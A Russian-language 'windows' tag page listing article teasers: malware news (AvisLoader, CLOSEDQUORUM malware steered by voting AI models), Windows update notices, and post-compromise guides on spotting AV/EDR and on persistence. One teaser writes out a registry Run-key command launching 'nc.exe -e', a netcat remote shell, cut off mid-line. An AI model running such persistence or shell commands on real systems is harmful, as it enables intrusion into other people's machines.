windows

Специалисты Varonis Threat Labs выявили новый вредоносный загрузчик AvisLoader, предназначенный для операционных систем Windows. Название программы происходит от латинского слова 'avis', что означает 'птица'. Загрузчик был обнаружен на открытом сервере вместе с фишинговой страницей ClickFix и...

Microsoft предупреждает пользователей Windows о двух критических сроках, которые могут повлиять на возможность получения обновлений. Первый срок связан с окончанием поддержки Windows 10, которая запланирована на октябрь 2025 года. После этой даты пользователи не смогут получать обновления...

Цель: После компрометации системы Windows необходимо идентифицировать установленные защитные решения (AV, EDR, XDR). Для этого анализируются работающие процессы, установленные приложения, службы и данные реестра. 1. Поиск работающих процессов: Используйте следующие команды: В командной строке...

Персистенция обеспечивает сохранение доступа к системе после компрометации. Ниже представлены ключевые методы для уровня прав пользователя. Реестр и папка автозагрузки Добавление записи в автозагрузку реестра: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1 /d "C:\Path\nc.exe -e...

Корпорация Microsoft представила инновационную концепцию Hybrid Intelligence для операционной системы Windows 11. Эта технология позволяет компьютеру самостоятельно анализировать задачи и принимать решения без постоянного подключения к облачным сервисам. В сложных случаях система автоматически...

Персистентность — методы сохранения доступа к системе после перезагрузок, смены учётных данных и других прерываний. Рассмотрим техники для административного уровня. Реестр: автозапуск Добавление записей в ключи реестра запускает программы при входе пользователя с его уровнем прав...

Представляем реализацию Windows-приложения на Rust, которое блокирует компьютер при вызове API endpoint. Решение использует системную функцию LockWorkStation через вызов rundll32.exe. Зависимости Cargo.toml: [package] name = "lock_pc_api" version = "0.1.0" edition = "2021" [dependencies]...

Исследователи обнаружили новый тип вредоносного ПО, которое использует несколько моделей искусственного интеллекта для принятия решений о дальнейших действиях на заражённой системе. Вредоносный код, получивший название ClosedQuorum, включает в себя четыре различные ИИ-модели, среди которых...

Исследователи из Cisco Talos обнаружили новый вредоносный код для Windows под названием CLOSEDQUORUM, который использует модели искусственного интеллекта для принятия решений. Этот код позволяет до четырёх различных ИИ-моделей голосовать за дальнейшие действия на заражённой системе. Модели могут...

Специалисты компании Касперский столкнулись с необычным случаем кибератаки, которая не потребовала использования вредоносного программного обеспечения. В ходе расследования инцидента на одном из промышленных предприятий эксперты обнаружили, что злоумышленники получили доступ к системе через...